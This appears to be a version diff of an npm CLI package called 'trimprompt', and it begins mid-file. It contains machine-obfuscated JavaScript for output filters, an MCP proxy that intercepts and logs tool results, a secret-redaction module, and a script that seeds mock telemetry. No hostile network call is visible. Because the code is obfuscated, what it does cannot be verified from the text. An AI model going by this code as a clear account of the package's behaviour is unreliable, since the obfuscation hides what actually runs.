_0x27bb9b=['split','424yvznfK','includes','...\x20+','22821lJphyH','\x0a...\x20(','length','14tdHrbL','keys','\x20matches\x20across\x20','2579394xNPGev','\x20files)','No\x20matches\x20found','\x20directories,\x20','startsWith','filterTree','slice','14026ToyJbm','Empty\x20directory','6096144pFASfs','substring','filterGrep','indexOf','filterCat','\x20more\x20directories','__esModule','join','trim','5638329batwIg','\x20files\x20total\x20—\x20deep\x20entries\x20truncated)','filterLs','match','5067180jINIsf','filter','\x20more\x20files\x20with\x20matches','1699475mcoyPh','\x20matches\x20in\x20this\x20file)','185uSRCmM','endsWith','push','total\x20','\x20more\x20matches','11phzawg'];a0_0x3360=function(){return _0x27bb9b;};return a0_0x3360();}function filterCat(_0x440551){const _0x2b7ed4=a0_0x5b305e,_0x49bdc4=_0x440551['split']('\x0a');if(_0x49bdc4[_0x2b7ed4(0x1fd)]<=0x64)return _0x440551;const _0x32dffa=[];return _0x32dffa['push'](..._0x49bdc4[_0x2b7ed4(0x207)](0x0,0x32)),_0x32dffa['push']('\x0a...\x20['+(_0x49bdc4['length']-0x50)+'\x20lines\x20truncated]\x20...\x0a'),_0x32dffa[_0x2b7ed4(0x1f3)](..._0x49bdc4[_0x2b7ed4(0x207)](-0x1e)),_0x32dffa[_0x2b7ed4(0x1f3)]('\x0a('+_0x49bdc4['length']+'\x20lines\x20total)'),_0x32dffa['join']('\x0a');}function filterGrep(_0x193c53){const _0x208625=a0_0x5b305e,_0x1f0a6b=_0x193c53[_0x208625(0x1f7)]('\x0a')['filter'](_0x300313=>_0x300313[_0x208625(0x212)]()[_0x208625(0x1fd)]>0x0);if(_0x1f0a6b['length']===0x0)return _0x208625(0x203);if(_0x1f0a6b[_0x208625(0x1fd)]<=0x32)return _0x193c53[_0x208625(0x212)]();const _0x394b82={},_0x56702a=[];for(const _0x486b59 of _0x1f0a6b){const _0x1efb7b=_0x486b59[_0x208625(0x20d)](':');if(_0x1efb7b>0x0&&_0x1efb7b<0xc8){const _0xacf7ee=_0x486b59[_0x208625(0x20b)](0x0,_0x1efb7b);if(_0xacf7ee[_0x208625(0x1f9)]('/')||_0xacf7ee['includes']('\x5c')||_0xacf7ee[_0x208625(0x1f9)]('.')){if(!_0x394b82[_0xacf7ee])_0x394b82[_0xacf7ee]=[];_0x394b82[_0xacf7ee][_0x208625(0x1f3)](_0x486b59['substring'](_0x1efb7b+0x1)['trim']());continue;}}_0x56702a[_0x208625(0x1f3)](_0x486b59);}const _0x10dfe4=[],_0x3f48e5=Object[_0x208625(0x1ff)](_0x394b82);if(_0x3f48e5[_0x208625(0x1fd)]>0x0){const _0x135a68=0x14,_0x179fb4=_0x3f48e5[_0x208625(0x207)](0x0,_0x135a68);for(const _0x2dc575 of _0x179fb4){const _0x43664f=_0x394b82[_0x2dc575];if(_0x43664f['length']<=0x3)for(const _0x36120f of _0x43664f){_0x10dfe4['push'](_0x2dc575+':\x20'+_0x36120f);}else _0x10dfe4[_0x208625(0x1f3)](_0x2dc575+':\x20'+_0x43664f[0x0]),_0x10dfe4[_0x208625(0x1f3)](_0x2dc575+':\x20...\x20('+_0x43664f['length']+_0x208625(0x1f0));}_0x3f48e5['length']>_0x135a68&&_0x10dfe4[_0x208625(0x1f3)](_0x208625(0x1fa)+(_0x3f48e5['length']-_0x135a68)+_0x208625(0x219));}if(_0x56702a[_0x208625(0x1fd)]>0x0){const _0x2d335f=0x1e;_0x10dfe4['push'](..._0x56702a[_0x208625(0x207)](0x0,_0x2d335f)),_0x56702a[_0x208625(0x1fd)]>_0x2d335f&&_0x10dfe4[_0x208625(0x1f3)](_0x208625(0x1fa)+(_0x56702a[_0x208625(0x1fd)]-_0x2d335f)+_0x208625(0x1f5));}const _0x38b931=_0x1f0a6b[_0x208625(0x1fd)];return _0x10dfe4[_0x208625(0x1f3)]('\x0a('+_0x38b931+_0x208625(0x200)+(_0x3f48e5[_0x208625(0x1fd)]||'?')+_0x208625(0x202)),_0x10dfe4['join']('\x0a');}
package/mcp.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x423bac=a0_0xdc38;(function(_0x247b3b,_0x516a7c){const _0xfe7806=a0_0xdc38,_0x271ae0=_0x247b3b();while(!![]){try{const _0x3b87fa=parseInt(_0xfe7806(0x1b8))/0x1+parseInt(_0xfe7806(0x1b0))/0x2*(-parseInt(_0xfe7806(0x1d5))/0x3)+parseInt(_0xfe7806(0x1b4))/0x4+parseInt(_0xfe7806(0x1cb))/0x5*(parseInt(_0xfe7806(0x1b5))/0x6)+-parseInt(_0xfe7806(0x1c9))/0x7*(-parseInt(_0xfe7806(0x1b7))/0x8)+parseInt(_0xfe7806(0x1cc))/0x9*(parseInt(_0xfe7806(0x1b9))/0xa)+-parseInt(_0xfe7806(0x1c2))/0xb;if(_0x3b87fa===_0x516a7c)break;else _0x271ae0['push'](_0x271ae0['shift']());}catch(_0x1ea92d){_0x271ae0['push'](_0x271ae0['shift']());}}}(a0_0x3bd4,0x6d51b));var __createBinding=this&&this['__createBinding']||(Object[a0_0x423bac(0x1d2)]?function(_0x80201c,_0x480e5b,_0x372bee,_0x3b3fa4){const _0x37c767=a0_0x423bac;if(_0x3b3fa4===undefined)_0x3b3fa4=_0x372bee;var _0x5c1361=Object[_0x37c767(0x1be)](_0x480e5b,_0x372bee);(!_0x5c1361||(_0x37c767(0x1c3)in _0x5c1361?!_0x480e5b[_0x37c767(0x1cf)]:_0x5c1361[_0x37c767(0x1db)]||_0x5c1361[_0x37c767(0x1ba)]))&&(_0x5c1361={'enumerable':!![],'get':function(){return _0x480e5b[_0x372bee];}}),Object[_0x37c767(0x1c5)](_0x80201c,_0x3b3fa4,_0x5c1361);}:function(_0xd86a8f,_0x2cb24e,_0x4385ce,_0x164c81){if(_0x164c81===undefined)_0x164c81=_0x4385ce;_0xd86a8f[_0x164c81]=_0x2cb24e[_0x4385ce];}),__setModuleDefault=this&&this[a0_0x423bac(0x1b6)]||(Object[a0_0x423bac(0x1d2)]?function(_0x25d951,_0x2ed0ea){const _0x31f35d=a0_0x423bac;Object[_0x31f35d(0x1c5)](_0x25d951,'default',{'enumerable':!![],'value':_0x2ed0ea});}:function(_0x373cd5,_0x1bc2d3){_0x373cd5['default']=_0x1bc2d3;}),__importStar=this&&this[a0_0x423bac(0x1d4)]||(function(){var _0x1e7e44=function(_0x218f7f){const _0x3d7c22=a0_0xdc38;return _0x1e7e44=Object[_0x3d7c22(0x1c7)]||function(_0x5b79e0){const _0x524dfd=_0x3d7c22;var _0x5176f5=[];for(var _0x16c9c7 in _0x5b79e0)if(Object[_0x524dfd(0x1c6)][_0x524dfd(0x1bb)]['call'](_0x5b79e0,_0x16c9c7))_0x5176f5[_0x5176f5[_0x524dfd(0x1da)]]=_0x16c9c7;return _0x5176f5;},_0x1e7e44(_0x218f7f);};return function(_0x4a5d7a){const _0x2d0abd=a0_0xdc38;if(_0x4a5d7a&&_0x4a5d7a[_0x2d0abd(0x1cf)])return _0x4a5d7a;var _0x177790={};if(_0x4a5d7a!=null){for(var _0x2c37d2=_0x1e7e44(_0x4a5d7a),_0x28abaa=0x0;_0x28abaa<_0x2c37d2[_0x2d0abd(0x1da)];_0x28abaa++)if(_0x2c37d2[_0x28abaa]!==_0x2d0abd(0x1cd))__createBinding(_0x177790,_0x4a5d7a,_0x2c37d2[_0x28abaa]);}return __setModuleDefault(_0x177790,_0x4a5d7a),_0x177790;};}());function a0_0x3bd4(){const _0x40d28a=['7846234uLHskL','get','pipe','defineProperty','prototype','getOwnPropertyNames','write','63gNPXYP','result','15emPtei','465561sLjIyh','default','parse','__esModule','logExecution','stdin','create','2.0','__importStar','1344162WMSnef','inherit','tracker','content','compressOutput','length','writable','spawn','readline','error','redaction_enabled','./filters','2GovJJb','createInterface','line','message','979260POXeYE','1508412nGbVbf','__setModuleDefault','164944pflnCh','269349pJPDsN','30VuOenD','configurable','hasOwnProperty','close','isArray','getOwnPropertyDescriptor','stdout','string','text'];a0_0x3bd4=function(){return _0x40d28a;};return a0_0x3bd4();}Object['defineProperty'](exports,a0_0x423bac(0x1cf),{'value':!![]}),exports['runMcpProxy']=runMcpProxy;const child_process_1=require('child_process'),readline=__importStar(require(a0_0x423bac(0x1dd))),filters_1=require(a0_0x423bac(0x1e0)),tracker_1=require('./tracker');function a0_0xdc38(_0x45a5b5,_0x552ea7){_0x45a5b5=_0x45a5b5-0x1b0;const _0x3bd48c=a0_0x3bd4();let _0xdc386=_0x3bd48c[_0x45a5b5];return _0xdc386;}function runMcpProxy(_0x578e14,_0x10dac0){const _0x2da153=a0_0x423bac,_0x1a6d50=(0x0,child_process_1[_0x2da153(0x1dc)])(_0x578e14,_0x10dac0,{'stdio':[_0x2da153(0x1c4),'pipe',_0x2da153(0x1d6)]});process[_0x2da153(0x1d1)][_0x2da153(0x1c4)](_0x1a6d50[_0x2da153(0x1d1)]);const _0x33a35f=readline[_0x2da153(0x1b1)]({'input':_0x1a6d50['stdout'],'terminal':![]});_0x33a35f['on'](_0x2da153(0x1b2),_0x321f96=>{const _0x350c95=_0x2da153;try{const _0x4aaae7=JSON[_0x350c95(0x1ce)](_0x321f96);if(_0x4aaae7&&_0x4aaae7['jsonrpc']===_0x350c95(0x1d3)&&_0x4aaae7['id']!==undefined&&_0x4aaae7[_0x350c95(0x1ca)]&&Array[_0x350c95(0x1bd)](_0x4aaae7[_0x350c95(0x1ca)][_0x350c95(0x1d8)])){let _0x48df1a=![];for(const _0x47f882 of _0x4aaae7[_0x350c95(0x1ca)][_0x350c95(0x1d8)]){if(_0x47f882['type']===_0x350c95(0x1c1)&&typeof _0x47f882[_0x350c95(0x1c1)]===_0x350c95(0x1c0)&&_0x47f882[_0x350c95(0x1c1)]['trim']()[_0x350c95(0x1da)]>0x0){const _0xda4532=_0x47f882[_0x350c95(0x1c1)],_0x19a87d=(0x0,filters_1[_0x350c95(0x1d9)])('mcp-tool-call',_0xda4532,'',tracker_1[_0x350c95(0x1d7)]['getConfig']()[_0x350c95(0x1df)]);tracker_1['tracker'][_0x350c95(0x1d0)]('mcp\x20tool\x20(id:\x20'+_0x4aaae7['id']+')',_0xda4532,_0x19a87d,0x0),_0x47f882['text']=_0x19a87d,_0x48df1a=!![];}}_0x48df1a?process[_0x350c95(0x1bf)][_0x350c95(0x1c8)](JSON['stringify'](_0x4aaae7)+'\x0a'):process['stdout'][_0x350c95(0x1c8)](_0x321f96+'\x0a');}else process['stdout'][_0x350c95(0x1c8)](_0x321f96+'\x0a');}catch{process[_0x350c95(0x1bf)][_0x350c95(0x1c8)](_0x321f96+'\x0a');}}),_0x1a6d50['on'](_0x2da153(0x1bc),_0xbecf2c=>{process['exit'](_0xbecf2c||0x0);}),_0x1a6d50['on']('error',_0x1bff58=>{const _0x5cef6b=_0x2da153;console[_0x5cef6b(0x1de)]('[TrimPrompt]\x20MCP\x20Server\x20Spawn\x20Error:\x20'+_0x1bff58[_0x5cef6b(0x1b3)]),process['exit'](0x1);});}
1
+ 'use strict';const a0_0x560975=a0_0x52fa;function a0_0x52fa(_0xbafbc6,_0x259eda){_0xbafbc6=_0xbafbc6-0x1bb;const _0x4929b3=a0_0x4929();let _0x52fa4f=_0x4929b3[_0xbafbc6];return _0x52fa4f;}function a0_0x4929(){const _0x588d9b=['call','pipe','stdin','3246896NxNHrY','mcp-tool-call','./tracker','error','10biQieq','469456eYObIR','createInterface','3531858DEhgQx','66ecpWxw','stdout','2517535IdgbRU','2.0','runMcpProxy','default','1241376nyOGSH','getConfig','close','9AkMQRJ','redaction_enabled','39IimYaM','parse','get','write','exit','74626MvHqoW','compressOutput','tracker','content','__createBinding','inherit','defineProperty','getOwnPropertyDescriptor','384993CQvaWB','type','isArray','child_process','logExecution','line','length','create','result','configurable','__esModule','readline','stringify','text','getOwnPropertyNames','message','./filters','mcp\x20tool\x20(id:\x20','__importStar','__setModuleDefault'];a0_0x4929=function(){return _0x588d9b;};return a0_0x4929();}(function(_0xbbd1cd,_0x27ba1f){const _0x1bddc9=a0_0x52fa,_0x2257c0=_0xbbd1cd();while(!![]){try{const _0x59e101=-parseInt(_0x1bddc9(0x1e4))/0x1+-parseInt(_0x1bddc9(0x1c0))/0x2*(-parseInt(_0x1bddc9(0x1bb))/0x3)+parseInt(_0x1bddc9(0x1ed))/0x4+parseInt(_0x1bddc9(0x1e9))/0x5+parseInt(_0x1bddc9(0x1e7))/0x6*(-parseInt(_0x1bddc9(0x1c8))/0x7)+parseInt(_0x1bddc9(0x1df))/0x8*(parseInt(_0x1bddc9(0x1f0))/0x9)+-parseInt(_0x1bddc9(0x1e3))/0xa*(parseInt(_0x1bddc9(0x1e6))/0xb);if(_0x59e101===_0x27ba1f)break;else _0x2257c0['push'](_0x2257c0['shift']());}catch(_0x31910f){_0x2257c0['push'](_0x2257c0['shift']());}}}(a0_0x4929,0x4b80b));var __createBinding=this&&this[a0_0x560975(0x1c4)]||(Object[a0_0x560975(0x1cf)]?function(_0x140548,_0x1833c9,_0x53b480,_0x1850d9){const _0x5a41e0=a0_0x560975;if(_0x1850d9===undefined)_0x1850d9=_0x53b480;var _0x1cd85e=Object[_0x5a41e0(0x1c7)](_0x1833c9,_0x53b480);(!_0x1cd85e||(_0x5a41e0(0x1bd)in _0x1cd85e?!_0x1833c9['__esModule']:_0x1cd85e['writable']||_0x1cd85e[_0x5a41e0(0x1d1)]))&&(_0x1cd85e={'enumerable':!![],'get':function(){return _0x1833c9[_0x53b480];}}),Object[_0x5a41e0(0x1c6)](_0x140548,_0x1850d9,_0x1cd85e);}:function(_0x3261e3,_0xbb01d2,_0x3fd4f7,_0x1c6725){if(_0x1c6725===undefined)_0x1c6725=_0x3fd4f7;_0x3261e3[_0x1c6725]=_0xbb01d2[_0x3fd4f7];}),__setModuleDefault=this&&this[a0_0x560975(0x1db)]||(Object[a0_0x560975(0x1cf)]?function(_0xb997d8,_0x8a929d){const _0x1e4775=a0_0x560975;Object[_0x1e4775(0x1c6)](_0xb997d8,_0x1e4775(0x1ec),{'enumerable':!![],'value':_0x8a929d});}:function(_0x16caf5,_0x138f6d){const _0x1576a1=a0_0x560975;_0x16caf5[_0x1576a1(0x1ec)]=_0x138f6d;}),__importStar=this&&this[a0_0x560975(0x1da)]||(function(){var _0x3e00ea=function(_0x9fef){const _0x1a41be=a0_0x52fa;return _0x3e00ea=Object[_0x1a41be(0x1d6)]||function(_0x156356){const _0xa11fff=_0x1a41be;var _0x54bf9c=[];for(var _0x25243b in _0x156356)if(Object['prototype']['hasOwnProperty'][_0xa11fff(0x1dc)](_0x156356,_0x25243b))_0x54bf9c[_0x54bf9c[_0xa11fff(0x1ce)]]=_0x25243b;return _0x54bf9c;},_0x3e00ea(_0x9fef);};return function(_0x4e95ec){const _0x260b01=a0_0x52fa;if(_0x4e95ec&&_0x4e95ec[_0x260b01(0x1d2)])return _0x4e95ec;var _0x1a32b6={};if(_0x4e95ec!=null){for(var _0x55225c=_0x3e00ea(_0x4e95ec),_0x3123ab=0x0;_0x3123ab<_0x55225c[_0x260b01(0x1ce)];_0x3123ab++)if(_0x55225c[_0x3123ab]!=='default')__createBinding(_0x1a32b6,_0x4e95ec,_0x55225c[_0x3123ab]);}return __setModuleDefault(_0x1a32b6,_0x4e95ec),_0x1a32b6;};}());Object['defineProperty'](exports,'__esModule',{'value':!![]}),exports[a0_0x560975(0x1eb)]=runMcpProxy;const child_process_1=require(a0_0x560975(0x1cb)),readline=__importStar(require(a0_0x560975(0x1d3))),filters_1=require(a0_0x560975(0x1d8)),tracker_1=require(a0_0x560975(0x1e1));function runMcpProxy(_0x360c92,_0x4622fe){const _0x443e5e=a0_0x560975,_0x3a29cd=(0x0,child_process_1['spawn'])(_0x360c92,_0x4622fe,{'stdio':['pipe',_0x443e5e(0x1dd),_0x443e5e(0x1c5)]});process[_0x443e5e(0x1de)][_0x443e5e(0x1dd)](_0x3a29cd['stdin']);const _0x100e26=readline[_0x443e5e(0x1e5)]({'input':_0x3a29cd['stdout'],'terminal':![]});_0x100e26['on'](_0x443e5e(0x1cd),_0x36fb47=>{const _0x2031f2=_0x443e5e;try{const _0x3a2840=JSON[_0x2031f2(0x1bc)](_0x36fb47);if(_0x3a2840&&_0x3a2840['jsonrpc']===_0x2031f2(0x1ea)&&_0x3a2840['id']!==undefined&&_0x3a2840['result']&&Array[_0x2031f2(0x1ca)](_0x3a2840[_0x2031f2(0x1d0)][_0x2031f2(0x1c3)])){let _0x2d90a4=![];for(const _0x1f5e18 of _0x3a2840[_0x2031f2(0x1d0)][_0x2031f2(0x1c3)]){if(_0x1f5e18[_0x2031f2(0x1c9)]===_0x2031f2(0x1d5)&&typeof _0x1f5e18['text']==='string'&&_0x1f5e18[_0x2031f2(0x1d5)]['trim']()[_0x2031f2(0x1ce)]>0x0){const _0x3cdca3=_0x1f5e18['text'],_0x3486a7=(0x0,filters_1[_0x2031f2(0x1c1)])(_0x2031f2(0x1e0),_0x3cdca3,'',tracker_1[_0x2031f2(0x1c2)][_0x2031f2(0x1ee)]()[_0x2031f2(0x1f1)]);tracker_1[_0x2031f2(0x1c2)][_0x2031f2(0x1cc)](_0x2031f2(0x1d9)+_0x3a2840['id']+')',_0x3cdca3,_0x3486a7,0x0),_0x1f5e18[_0x2031f2(0x1d5)]=_0x3486a7,_0x2d90a4=!![];}}_0x2d90a4?process[_0x2031f2(0x1e8)][_0x2031f2(0x1be)](JSON[_0x2031f2(0x1d4)](_0x3a2840)+'\x0a'):process['stdout'][_0x2031f2(0x1be)](_0x36fb47+'\x0a');}else process[_0x2031f2(0x1e8)]['write'](_0x36fb47+'\x0a');}catch{process[_0x2031f2(0x1e8)]['write'](_0x36fb47+'\x0a');}}),_0x3a29cd['on'](_0x443e5e(0x1ef),_0xf2de5f=>{const _0x4d96b7=_0x443e5e;process[_0x4d96b7(0x1bf)](_0xf2de5f||0x0);}),_0x3a29cd['on'](_0x443e5e(0x1e2),_0x28a15b=>{const _0x300237=_0x443e5e;console['error']('[TrimPrompt]\x20MCP\x20Server\x20Spawn\x20Error:\x20'+_0x28a15b[_0x300237(0x1d7)]),process[_0x300237(0x1bf)](0x1);});}
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "trimprompt",
3
- "version": "1.0.11",
3
+ "version": "1.0.13",
4
4
  "description": "TrimPrompt.ai Client CLI & Local Developer Dashboard",
5
5
  "main": "cli.js",
6
6
  "bin": {
package/redactor.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x1cc35b=a0_0x5743;(function(_0x5e690b,_0x42bdf0){const _0x37a5bc=a0_0x5743,_0x3766c2=_0x5e690b();while(!![]){try{const _0x410f90=-parseInt(_0x37a5bc(0xef))/0x1+parseInt(_0x37a5bc(0xf4))/0x2*(parseInt(_0x37a5bc(0x100))/0x3)+-parseInt(_0x37a5bc(0xfa))/0x4*(parseInt(_0x37a5bc(0xec))/0x5)+-parseInt(_0x37a5bc(0xf8))/0x6*(-parseInt(_0x37a5bc(0xf9))/0x7)+-parseInt(_0x37a5bc(0xfb))/0x8+parseInt(_0x37a5bc(0xfe))/0x9*(-parseInt(_0x37a5bc(0xfd))/0xa)+parseInt(_0x37a5bc(0xee))/0xb;if(_0x410f90===_0x42bdf0)break;else _0x3766c2['push'](_0x3766c2['shift']());}catch(_0x87df82){_0x3766c2['push'](_0x3766c2['shift']());}}}(a0_0x248f,0x3d994));Object[a0_0x1cc35b(0x101)](exports,'__esModule',{'value':!![]}),exports[a0_0x1cc35b(0xf0)]=exports[a0_0x1cc35b(0xf2)]=void 0x0;class Redactor{['rules']=[];constructor(){this['loadDefaultRules']();}[a0_0x1cc35b(0xf3)](){const _0x46971c=a0_0x1cc35b;this['rules']=[{'name':'Database\x20Connection\x20String','regex':/(mongodb|postgres|postgresql|mysql|redis|sqlite):\/\/[a-zA-Z0-9_]+:[^@\s\n]+@[^\s\n]+/gi,'replacement':_0x46971c(0xff)},{'name':'API\x20Key\x20or\x20Password','regex':/(api[_-]?key|secret|password|passwd|auth|token|private[_-]?key)[\s:=]+[a-zA-Z0-9_-]{16,}/gi,'replacement':_0x46971c(0xf1)},{'name':_0x46971c(0x102),'regex':/\b(?!127\.0\.0\.1|255\.255\.255\.0)(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b/g,'replacement':_0x46971c(0xea)},{'name':_0x46971c(0xf7),'regex':/\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b/g,'replacement':_0x46971c(0xf6)}];}[a0_0x1cc35b(0xf5)](_0x21a37f){const _0x3ce4dc=a0_0x1cc35b;let _0x4ff602=_0x21a37f;for(const _0xc19321 of this[_0x3ce4dc(0xeb)]){_0x4ff602=_0x4ff602[_0x3ce4dc(0xed)](_0xc19321['regex'],_0xc19321[_0x3ce4dc(0xfc)]);}return _0x4ff602;}}function a0_0x248f(){const _0x410d46=['$1:\x20[REDACTED_CREDENTIAL]','Redactor','loadDefaultRules','190rFgKYa','redact','[REDACTED_EMAIL]','Email\x20Address','12SBHToa','1213282HYPdJd','4EYhAOt','1794704niYMxL','replacement','2024410uRDVJA','18Azzumh','[REDACTED_DB_CONNECTION_STRING]','9420xjeiBb','defineProperty','IPv4\x20Address','[REDACTED_IP]','rules','1765675DnRGBg','replace','11632676vQBICl','467805hjvxsP','redactor'];a0_0x248f=function(){return _0x410d46;};return a0_0x248f();}function a0_0x5743(_0x3e0e84,_0x9ee959){_0x3e0e84=_0x3e0e84-0xea;const _0x248f6c=a0_0x248f();let _0x574334=_0x248f6c[_0x3e0e84];return _0x574334;}exports[a0_0x1cc35b(0xf2)]=Redactor,exports[a0_0x1cc35b(0xf0)]=new Redactor();
1
+ 'use strict';const a0_0x4ebf18=a0_0x2a96;function a0_0x482f(){const _0x2fc869=['237466VpxcxA','Redactor','rules','defineProperty','loadDefaultRules','[REDACTED_EMAIL]','[REDACTED_DB_CONNECTION_STRING]','replace','768nBiqCs','redactor','API\x20Key\x20or\x20Password','Database\x20Connection\x20String','regex','224059DvPNGK','40PhYqtg','374064vkALZB','1931102TcvbnP','redact','7615895LBKJAo','3FDrCjT','8RSKUlh','1382517uAwyPN','13652Eojwyp','1695FKSORs','__esModule'];a0_0x482f=function(){return _0x2fc869;};return a0_0x482f();}(function(_0x20f19f,_0x4fbd39){const _0x1bf71f=a0_0x2a96,_0x5224c2=_0x20f19f();while(!![]){try{const _0x4ec12f=parseInt(_0x1bf71f(0xd3))/0x1+parseInt(_0x1bf71f(0xe3))/0x2*(parseInt(_0x1bf71f(0xe6))/0x3)+parseInt(_0x1bf71f(0xd0))/0x4*(parseInt(_0x1bf71f(0xd1))/0x5)+parseInt(_0x1bf71f(0xe2))/0x6+parseInt(_0x1bf71f(0xe5))/0x7*(-parseInt(_0x1bf71f(0xce))/0x8)+-parseInt(_0x1bf71f(0xcf))/0x9*(-parseInt(_0x1bf71f(0xe1))/0xa)+parseInt(_0x1bf71f(0xe0))/0xb*(-parseInt(_0x1bf71f(0xdb))/0xc);if(_0x4ec12f===_0x4fbd39)break;else _0x5224c2['push'](_0x5224c2['shift']());}catch(_0x3e92a5){_0x5224c2['push'](_0x5224c2['shift']());}}}(a0_0x482f,0x9d863));function a0_0x2a96(_0x442527,_0x28fbb){_0x442527=_0x442527-0xce;const _0x482fc8=a0_0x482f();let _0x2a969c=_0x482fc8[_0x442527];return _0x2a969c;}Object[a0_0x4ebf18(0xd6)](exports,a0_0x4ebf18(0xd2),{'value':!![]}),exports[a0_0x4ebf18(0xdc)]=exports[a0_0x4ebf18(0xd4)]=void 0x0;class Redactor{[a0_0x4ebf18(0xd5)]=[];constructor(){const _0x51b21d=a0_0x4ebf18;this[_0x51b21d(0xd7)]();}[a0_0x4ebf18(0xd7)](){const _0x3f7902=a0_0x4ebf18;this['rules']=[{'name':_0x3f7902(0xde),'regex':/(mongodb|postgres|postgresql|mysql|redis|sqlite):\/\/[a-zA-Z0-9_]+:[^@\s\n]+@[^\s\n]+/gi,'replacement':_0x3f7902(0xd9)},{'name':_0x3f7902(0xdd),'regex':/(api[_-]?key|secret|password|passwd|auth|token|private[_-]?key)[\s:=]+[a-zA-Z0-9_-]{16,}/gi,'replacement':'$1:\x20[REDACTED_CREDENTIAL]'},{'name':'IPv4\x20Address','regex':/\b(?!127\.0\.0\.1|255\.255\.255\.0)(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b/g,'replacement':'[REDACTED_IP]'},{'name':'Email\x20Address','regex':/\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b/g,'replacement':_0x3f7902(0xd8)}];}[a0_0x4ebf18(0xe4)](_0x327abc){const _0x130db9=a0_0x4ebf18;let _0x3a1cdb=_0x327abc;for(const _0xdc484f of this[_0x130db9(0xd5)]){_0x3a1cdb=_0x3a1cdb[_0x130db9(0xda)](_0xdc484f[_0x130db9(0xdf)],_0xdc484f['replacement']);}return _0x3a1cdb;}}exports['Redactor']=Redactor,exports[a0_0x4ebf18(0xdc)]=new Redactor();
package/seed.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x4ace25=a0_0x41dc;(function(_0x4e7421,_0x1430cd){const _0x2cfd28=a0_0x41dc,_0x3acaa2=_0x4e7421();while(!![]){try{const _0x1c07ff=parseInt(_0x2cfd28(0x9d))/0x1*(parseInt(_0x2cfd28(0x8c))/0x2)+parseInt(_0x2cfd28(0x89))/0x3+parseInt(_0x2cfd28(0x96))/0x4+parseInt(_0x2cfd28(0x99))/0x5*(parseInt(_0x2cfd28(0x8e))/0x6)+parseInt(_0x2cfd28(0xa7))/0x7+-parseInt(_0x2cfd28(0x8d))/0x8*(parseInt(_0x2cfd28(0x97))/0x9)+-parseInt(_0x2cfd28(0x93))/0xa;if(_0x1c07ff===_0x1430cd)break;else _0x3acaa2['push'](_0x3acaa2['shift']());}catch(_0x1f45a4){_0x3acaa2['push'](_0x3acaa2['shift']());}}}(a0_0x1faf,0x21180));function a0_0x1faf(){const _0x3e3461=['[INFO]\x20Building\x20modules...\x0a','log','Successfully\x20built\x20image.','test_auth.py\x20PASS\x0a','695049dMFazn','Step\x201/10\x20:\x20FROM\x20node:20\x0a','tracker','214OjUKuW','392lxYFtq','35754KrNRfv','Compilation\x20Output:\x0a','Optimizing\x20assets...\x0a','claude-3-opus','Sending\x20build\x20context\x20to\x20Docker\x20daemon...\x0a','2942370RiQzCQ','defineProperty','pytest\x20app:\x20303\x20tests\x20passed\x20in\x204.22s.','918804kZFabY','48591thbvqw','Database\x20successfully\x20seeded!','20HTEOgh','gpt-4o','Step\x202/10\x20:\x20COPY\x20package.json\x20.\x0a','__esModule','1627LAEmxz','gemini-1-5-pro','docker\x20build:\x201420\x20packages\x20added.\x20Successfully\x20built\x20image.','npm\x20run\x20build','logExecution','repeat','./tracker','Test\x20suite\x20run\x20starting...\x0a','pytest\x20tests/app','[INFO]\x20Building\x20modules...\x0a[SUCCESS]\x20Compiled\x20512\x20modules.\x20(repeated\x20400\x20times)','245217lzoSTo'];a0_0x1faf=function(){return _0x3e3461;};return a0_0x1faf();}Object[a0_0x4ace25(0x94)](exports,a0_0x4ace25(0x9c),{'value':!![]});const tracker_1=require(a0_0x4ace25(0xa3));function a0_0x41dc(_0x10bc2e,_0x5a1560){_0x10bc2e=_0x10bc2e-0x87;const _0x1faf5f=a0_0x1faf();let _0x41dc2f=_0x1faf5f[_0x10bc2e];return _0x41dc2f;}console['log']('Seeding\x20TrimPrompt\x20database\x20with\x20mock\x20LLM\x20command\x20telemetry...'),process.env.TRIMPROMPT_MODEL=a0_0x4ace25(0x91),tracker_1['tracker'][a0_0x4ace25(0xa1)](a0_0x4ace25(0xa0),a0_0x4ace25(0x8f)+a0_0x4ace25(0xa8)+a0_0x4ace25(0x90)+'[SUCCESS]\x20Compiled\x20512\x20modules.\x0a'['repeat'](0x190),a0_0x4ace25(0xa6),0x0),process.env.TRIMPROMPT_MODEL=a0_0x4ace25(0x9a),tracker_1[a0_0x4ace25(0x8b)][a0_0x4ace25(0xa1)](a0_0x4ace25(0xa5),a0_0x4ace25(0xa4)+a0_0x4ace25(0x88)+'test_db.py\x20PASS\x0a'+'test_api.py\x20PASS\x0a'[a0_0x4ace25(0xa2)](0x12c)+'All\x20303\x20tests\x20passed\x20in\x204.22s.',a0_0x4ace25(0x95),0x0),process.env.TRIMPROMPT_MODEL=a0_0x4ace25(0x9e),tracker_1[a0_0x4ace25(0x8b)][a0_0x4ace25(0xa1)]('docker\x20build\x20.',a0_0x4ace25(0x92)+a0_0x4ace25(0x8a)+a0_0x4ace25(0x9b)+'Step\x203/10\x20:\x20RUN\x20npm\x20install\x0a'+'added\x201420\x20packages\x20in\x2014s\x0a'[a0_0x4ace25(0xa2)](0x3)+a0_0x4ace25(0x87),a0_0x4ace25(0x9f),0x0),console[a0_0x4ace25(0xa9)](a0_0x4ace25(0x98));
1
